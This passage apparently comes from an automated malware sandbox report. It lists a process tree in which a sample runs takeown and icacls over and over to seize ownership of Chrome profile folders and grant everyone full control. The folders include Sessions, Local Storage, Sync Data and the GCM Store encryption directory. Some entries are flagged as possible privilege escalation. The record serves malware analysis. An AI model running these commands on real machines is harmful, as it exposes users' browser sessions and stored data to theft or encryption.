- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB /grant everyone:(f)
  2⤵
  PID:1028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
    3⤵
    PID:1800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store /grant everyone:(f)
  2⤵
  PID:2820
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store
    3⤵
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption /grant everyone:(f)
  2⤵
  PID:2856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
    3⤵
    - Modifies file permissions
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache /grant everyone:(f)
  2⤵
  PID:2832
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache
    3⤵
    PID:784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage /grant everyone:(f)
  2⤵
  PID:2556
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage
    3⤵
    - Possible privilege escalation attempt
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb /grant everyone:(f)
  2⤵
  PID:484
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network /grant everyone:(f)
  2⤵
  PID:3068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network
    3⤵
    PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store /grant everyone:(f)
  2⤵
  PID:1980
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
    3⤵
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store /grant everyone:(f)
  2⤵
  PID:1148
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
    3⤵
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network /grant everyone:(f)
  2⤵
  PID:2284
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform /grant everyone:(f)
  2⤵
  PID:2428
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
    3⤵
    - Modifies file permissions
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB /grant everyone:(f)
  2⤵
  PID:1052
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
    3⤵
    PID:424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB /grant everyone:(f)
  2⤵
  PID:1560
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
    3⤵
    - Possible privilege escalation attempt
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB /grant everyone:(f)
  2⤵
  PID:1136
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
    3⤵
    PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage /grant everyone:(f)
  2⤵
  PID:944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage
    3⤵
    PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions /grant everyone:(f)
  2⤵
  PID:1496
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions
    3⤵
    PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db /grant everyone:(f)
  2⤵
  PID:1996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
    3⤵
    PID:692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata /grant everyone:(f)
  2⤵
  PID:1836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
    3⤵
    PID:760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database /grant everyone:(f)
  2⤵
  PID:580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
    3⤵
    - Modifies file permissions
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data /grant everyone:(f)
  2⤵
  PID:1792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data
    3⤵
    PID:1348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB /grant everyone:(f)
  2⤵
  PID:2292
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
    3⤵
    PID:352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications /grant everyone:(f)
  2⤵
  PID:1352
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications
    3⤵
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources /grant everyone:(f)
  2⤵
  PID:1660
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak /grant everyone:(f)
  2⤵
  PID:2512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak
    3⤵
    - Modifies file permissions
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons /grant everyone:(f)
  2⤵
  PID:2140
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons
    3⤵
    PID:316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable /grant everyone:(f)
  2⤵
  PID:324
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable
    3⤵
    PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:2012
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome
    3⤵
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml /grant everyone:(f)
  2⤵
  PID:1572
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml
    3⤵
    PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons /grant everyone:(f)
  2⤵
  PID:2276
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons
    3⤵
    PID:112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable /grant everyone:(f)
  2⤵
  PID:2988
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable
    3⤵
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:2272
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome
    3⤵
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf /grant everyone:(f)
  2⤵
  PID:2776
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons /grant everyone:(f)
  2⤵
  PID:2688
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons
    3⤵
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable /grant everyone:(f)
  2⤵
  PID:2148
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable
    3⤵
    PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:2624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome
    3⤵
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm /grant everyone:(f)
  2⤵
  PID:2584
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons /grant everyone:(f)
  2⤵
  PID:2572
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable /grant everyone:(f)
  2⤵
  PID:1800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:2936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag /grant everyone:(f)
  2⤵
  PID:2916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag
    3⤵
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons /grant everyone:(f)
  2⤵
  PID:1244
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons
    3⤵
    PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable /grant everyone:(f)
  2⤵
  PID:108
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable
    3⤵
    PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:2060
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb /grant everyone:(f)
  2⤵
  PID:2360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb
    3⤵
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons /grant everyone:(f)
  2⤵
  PID:1232
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons
    3⤵
    PID:1524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable /grant everyone:(f)
  2⤵
  PID:2548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:1924
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome
    3⤵
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp /grant everyone:(f)
  2⤵
  PID:328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
    3⤵
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\DesktopSharingHub && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\DesktopSharingHub /grant everyone:(f)
  2⤵
  PID:2040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\DesktopSharingHub
    3⤵
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FileTypePolicies && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FileTypePolicies /grant everyone:(f)
  2⤵
  PID:1680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FileTypePolicies
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded /grant everyone:(f)
  2⤵
  PID:880
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded
    3⤵
    PID:836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FontLookupTableCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FontLookupTableCache /grant everyone:(f)
  2⤵
  PID:1904
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FontLookupTableCache
    3⤵
    - Possible privilege escalation attempt
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache /grant everyone:(f)
  2⤵
  PID:1768
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\hyphen-data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\hyphen-data /grant everyone:(f)
  2⤵
